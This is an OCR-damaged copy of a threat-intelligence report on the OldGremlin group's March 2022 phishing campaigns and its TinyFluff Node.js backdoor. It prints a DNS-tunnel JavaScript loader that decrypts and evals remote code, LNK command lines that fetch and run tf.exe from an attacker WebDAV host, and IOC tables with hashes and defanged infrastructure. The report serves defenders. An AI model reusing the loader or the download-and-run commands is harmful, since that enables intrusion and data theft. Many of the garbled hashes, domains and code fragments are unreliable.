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OldGremlin history

March 22 Campaign
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As mentioned above, carefully crafted phishing emails are OldGremlin’s hallmark. This time the
emails were allegedly sent by a senior accountant of a financial organization in Russia who warned
the recipients about new sanctions that would completely suspend operations of Visa/Mastercard
payment systems. Notably, the phishing emails were sent two weeks after Visa and Mastercard
announced they would suspend operations in Russia.

Translation of the phishing email:
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Translation:
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Copies the original file (Anketa.docx) to the path %TEMP%\docx1.zip.

Extracts an executable file from the archive embedded in the original document to the path
%TEMP%\word\media\limage2.jpg, renames the file to image2.exe and launches it.

Displays an error and closes the document.

The application downloads Node.js from the official website.

JavaScript is embedded in the file body.

It does not contain a hardcoded command and control (C2) address; instead the application
uses DGA.
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4. All communication with C2 servers is performed through a DNS tunnel.

IP addresses of NS-
subdomains

Domain NS-subdomain

nsl[.Jeccbc8[]Jcom ns2[.Jeccbc8[.]Jcom 46.101.113[.]161

eccbe8lJeom ns3[.Jeccbc8[.Jcom ns4[]Jeccbc8[Jcom 161.35.41[]9

nsl[.]Ja3c65c[.Jorg ns2[.]a3c65c[.Jorg 46.101.113[.]161

a3c65ellorg  ca1la3c65cllorg nsdllades5cllorg 16135.41[19

Group-IB’s Managed XDR

Communication with the C2 server through a DNS tunnel
Gathering information about infected devices

Stealing files from infected devices

Downloading arbitrary files from servers

Deploying a SOCKS server to proxy traffic

Executing arbitrary JS code

OldGremlin’s March 25 attack
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Name

Akt_sverki.zip

DopSog_Consult.zip
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SHA1l

dda9900cefa8cdc8ec362d80480babcdcfdc62b2

aeb2c93c16c63aac9be’778e89157b67c7bc7cblc
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DopSog_Consultant.docx.Ink

Akt_sverki_Consultant.docx.Ink
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Links

hXXps://dl.dropboxuse

Command

“%ComSpec%” [c net use hxxp:/[/192.248.176[.]138 && start
\\192.248.176[.]138\DavWWWRoot\DopSog_Consultant.docx
&& start [b \\192.248.176[.]138\DavWWWRoot\tf.exe

“%ComSpec%” [c net use hxxp://192.248.176[.]138 && start
\\192.248.176[.]138\DavWWWRoot\Akt_sverki_Consultant.docx
&& start [b \\192.248.176[.]138\DavWWWRoot\tf.exe
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Consultant Plus
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Tools used by OldGremlin group

TinyFluff

Campaign date SHA1
2022-03-25 c82e12e563d5d5f4a8dd67703b5df7373b457abc

2022-03-22 bd0a6a3628f268a37ac9d708d03f57feefS5ed55e
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const a=[0...0x1e4] const tid=[".com",".org",".net"],

domain=crypto.createHash("md5").update(a.toString()).digest("hex").slice(0,6)+tld[f]

Data is Base64-decoded.

Data is decrypted using the RC4 algorithm (in such requests, the key is %id%.%dga_domain%,
which is the domain to which a connection was made).

The decrypted data is decompressed using the gzip algorithm.
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VILOk4WHOQKAA3xSgGwyotPYGAO0Q4X4LeLYTqOOmgklgbunlgCBxhnEilFysl2UrdWKsyOQ+!

crypto=require('crypto"), global.dec=(key,ciphertext)=>{ const
a=require("crypto").createDecipheriv("rc4" key,null), k=a.update(ciphertext,"base64"),
b=require("zlib").gunzipSync(k); return a.final(),b.toString() }

let C=0,P=""K="in9gtmn", R = () == { require('dns").resolveTxt("Ox" + C +"." + K+
"eccbc8[.]Jcom’, (e, d) == {if (d) {if (P += d.join(""), C++, C < 23) return R(); try {
eval(global.dec(K, P)) } catch (a) } } }) }; R()
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0x0.lin9gtmn.eccbc8[.Jcom 0x1.lin9gtmn.eccbc8[.Jcom ... 0x22.lin9gtmn.eccbc8[.Jcom

The resulting script has many functions, including:

Sending multiple DNS queries at the same time

Gathering information about infected devices

Stealing files from infected devices

Downloading arbitrary files from servers

Deploying a SOCKS server to proxy traffic

{ "transfer": { "threads": "global.threads", "tick": "global.tick", "domain": "global.dom" }, "paths": {
"temp": "os.tmpdir()", "home": "os.nomedir()" }, "proc": { "load": "os.loadavg()", "cpus": "
"mem": { "total": "os.totalmem()", "free": "os.freemem()" }, "network": { "interfaces":

"os.networklnterfaces()" }, "sys": { "hostName": "os.hostname()", "type": "os.type()", "platform":

"os.platform()", "release": "os.release()", "uptime": "os.uptime()" }, "user": "os.userinfo()" }

1x%chank_number%.%key%.%random_string{8}%.%hex_chunk%.eccbc8[.Jcom
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1x2.lin9gtmn.v937nf29.01e35a4076d1b5a1f285b49c11d2a96230b8cel52e9b3877243b7e5234

if(global.connect)global.connect()

2X.%Uid%.%id% %rand_string{2}%.%dga_domain%
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2x.058106102444631436.079i4mjd6c.eccbc8[.]Jcom

3x.%uid%.%dga_domain%

3x.058106102444631436.eccbc8[.Jcom

Command Parameter Short description

Download the file to the infected device. As a result, the code
Empty line File name cannot be executed correctly because the command parameters
are parsed with an error.

File
.download: I L Read the contents of a file from the working directory.
description
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Parameter Short description

Change the parameters for connecting to the server, where threads
is the number of simultaneously executed DNS requests and
tick_sec is the time for requesting a new command.

threads
tick_sec

Any other

Commands
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Commands can be divided by functionality into six scripts that

perform the following actions:

1. Collecting information about the infected system/device:

CPU
Computer name, memory capacity
Network information (IP and MAC addresses)
OS information
Path to the % Temp% directory
System run time
Obtaining information about connected drives

Launching the cmd.exe shell, executing a command, and sending the output to C2. During
our research, the following commands were executed:

ipconfig /all
kill

Obtaining information about the plugins installed in the system. At the time of research
no plugins had been loaded, so we have only their names:

TSFR
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SHLL

NESC
PRSE/PRST
FWSE
SPPU/SPPR
SRPU/SRPR
ATSE

5. Obtaining information about files in the following directories:

The directory in which the malicious script and the Node.js interpreter are located
C:\

C:\Users

C:\Users\<%username%>

C:\Users\<%username%=>\Downloads

6. Terminating the Node.js interpreter

Conclusion
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Try Group-IB Threat Intelligence Now

Test Drive Group-IB Threat Intelligence
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Description

Domain

Registrar

Reg date

Exp date

TXT record

IP

Description

Domain

Registrar

Reg date

Exp date

IP

Description

Domain

https://www.group-ib.com /blog/oldgremlin-comeback/

Value

mirfinancel.Jorg

namecheap, inc

2022-03-02

2023-03-02

v=spfl redirect=_spfyandex.net

192.64.119[.]190

Value

eccbc8[.Jcom

namecheap, inc

2022-03-02

2023-03-02

Value

a3c65cl.Jorg
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Description

Registrar

Reg date

Exp date

IP

Domain

eccbc8[.Jcom

a3c65c|.Jorg

Description

Link

Name

MD5

https://www.group-ib.com /blog/oldgremlin-comeback/

Value

namecheap, inc

2021-12-07

2022-12-07

NS-subdomain

nsl[.Jeccbc8[]Jcom ns2[.Jeccbc8[.]Jcom
ns3[.Jeccbc8[.Jcom ns4[.Jeccbc8[.]Jcom

nsl[.]Ja3c65c|.Jorg ns2[.]Ja3c65c[.Jorg ns3[.]a3c65¢[.]Jorg
ns4[.Ja3c65c[.]Jorg

Value

IPs of ns-subdomains

46.101.113[.]161
161.35.41[]9

46.101.113[.]161
161.35.41[]9

hxxps://dI[.Jdropboxusercontent[.Jcom/s/1956¢cypkkihawuu/Anketa.docx?dI=0

Anketa.docx

70F4416F6EC6CODBF916A717BC4AB12F
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Description

SHAl

SHA256

Size

Type

Description

Link

Name

MD5

SHAl

SHA256

Size

Type

Description

Name

MD5

SHA1

SHA256

Size

https://www.group-ib.com /blog/oldgremlin-comeback/

Value

AF3190DE95DD187661D0866404B087EC7BB8C6BA

700FC6C697A869CC978D042B024E59CS5FCD4E8905C2FBC7CAEEB3760C29058B

137,081 bytes

Initial malicious document

Value

hxxps://dI[.]Jdropboxusercontent[.Jcom/s/gjyjsOrbtiny7ue/Docl.dotm

Docl.dotm

669cd24d66587ebdbb709302ed011cOe

313c8241e0c74fac52530c55089979ac4763e0e2

ea95c527da29ca29072617dce28a567d11a7c777f2fcc2a752d0dff626180e70

17778 bytes

Malicious template

Value

image2.jpg, image2.exe

B59B53C35F03CFF659F848297BCF3314

BDOAGA3628F268A37AC9D708D03F57FEEF5EDS5E

4682A66EFA7C79AB56DFDFC1BBASCF001D380D516FF1B64ACEAOBS53784FDES!

104,448 bytes
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Description

Compilation

, 2022-03-20 13:25:12 UTC
timestamp

PDR Z\TinvFIufi\Release\TinvFIuffndbh

Description

Name

MD5 FC763A77DFFDBBC62D256524CD4808D9

SHA1 FAB504D579B2E1AAE8701EA1IBDA3F3A8B694927F

SHA256 476852E3257631D6AC2882237CFA146DCAEFE17A10A11B984AEC5CCO9B61D48D4

Size 16,092 bytes

Description Value

Name DopSog_Consult.zip

MD5 3e4ab86263e0ff5a35f2e3fb17d03727

SHA1 aeb52c93c16c63aac9be778e89157b67¢c7bc7c61c

SHA256 09c0ac9e09f91a415f674c6cd27blcc44d8c695dab6ad449d6baf70107027af2fa

Size 987 bytes

Type Archive with LNK

LNK hash elb5fc5dfO5b25fc7136¢cfOb7ea252e50ebff2ef
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Description

Name

MD5

SHAl

SHA256

Size

Type

LNK hash

Description

Name

MD5

SHAl

SHA256

Size

Type

LNK hash

Description

Name

MD5
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Value

Akt_sverki.zip

64db43f22430e75716aacd7cal3bbac6

dda9900cefa8cdc8ec362d80480babcdcfdc62b2

f1102cceed4e6529f8c5b1bf387b798bfba727b49c4a7442b19c392335291cab

1,002 bytes

Archive with LNK

3¢c1b1942537ee273325b02ec305bb02e2d0a028

Value

Akt_sverki.zip

Oc46a727d2b9d6e0d1c3bee3b9e90abf

le22af4c6e4dfe625043dddde295fef84bd36ab9

bc7ccad7dled91a45e792866ff9a060414c1d3c2f9ae8f06689cb96a2e3957a6

1,018 bytes

Archive with LNK

3C1B1942537EE273325B02EC305BB02E2D0OAO2F8

Value

DopSog_Consultant.docx.Ink

858d14841bclcc90e8e24a5laca8l4el
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Description

SHAl

SHA256

Size

Type

Command

Description

Name

MD5

SHA1

SHA256

Size

Type

Command
line

Description

Name

MD5

https://www.group-ib.com /blog/oldgremlin-comeback/

Value

elb5fc5df05b25fc7136¢cf9b7ea252e50ebff2ef

f36305e01515b73607f0f8941d9093fabelb7a7e3f90c18f137403a0f016cdff

1,610 bytes

Malicious LNK

“%ComSpec%” [c net use hxxp:/[/192.248.176[.]138 && start
1922481761138\ DavWWWRoot\DonSoa Consultant.docx &R start /b

Value

Akt_sverki_Consultant.docx.Ink

e8fce013184401fb8d6e248fc91b4f9e

3¢c1b1942537ee273325b02ec305bb02e2d0a028

0a0889330501ee52ca5fe2b2f41fbcad7d26afce8bcd430c7fe274e6ebe64c680

1,618 bytes

Malicious LNK

“%ComSpec%” [c net use hxxp://192.248.176[.]138 && start
\\192.248.176[.]138\DavWWWRoot\DopSog_Consultant.docx && start /b
\\192.248.176[.]138\DavWWWRoot\tf.exe

Value

Akt_sverki_Consultant.docx

e959fa8191ca2e4dd99932e149668ade

79526eafl489762caldeca358d6742f9c1718cab
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Description

SHA256

Size

Type

Description

Name

MD5

SHAl

SHA256

Size

Type

Description

Name

MD5

SHA1

SHA256

Size

Compilation
timestamp

PDB

https://www.group-ib.com /blog/oldgremlin-comeback/

Value

4ff26fed848df58550¢c656fb1676a9afded48060381c55d45154a90a3272ba%e

22,614 bytes

Decoy document

Value

DopSog_Consultant.docx

0ead98011c8d777fd2772d41ab990111

9569f635576ec5460571cabee02f9b01f39956ea

990ef464d76b206e4727ee9ccba9cObe33a278a26116¢c3¢c2¢c839125abc97777f

24,551 bytes

Decoy document

Value

tf.exe

9dc7f56d0bb5d7543d0ead4a644110623

c82e12e563d5d5f4a8dd67703b5df7373b457abe

813747775albdeaed627763687bdcb2ef325874e7a908f3ec24380c5d2f2b44a

88,576 bytes

2022-03-24 09:02:10 UTC

Z:\WebFIuffPP\Release\TinyFluff.pdb
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Description Value

Name s.txt

MD5 ldddal2e2a8594bc458dbf22b4b39c27

SHA1l dbaad9f3af3e48da6ef6a93747b2a1939ffadb3d

SHA256 2b507a5d9af760667e18cd11584816575d102d7e9e1900de29b8513d30f6d65¢

Size 8,392 bytes

Found it interesting? Don't hesitate to share it to wow your friends or colleagues
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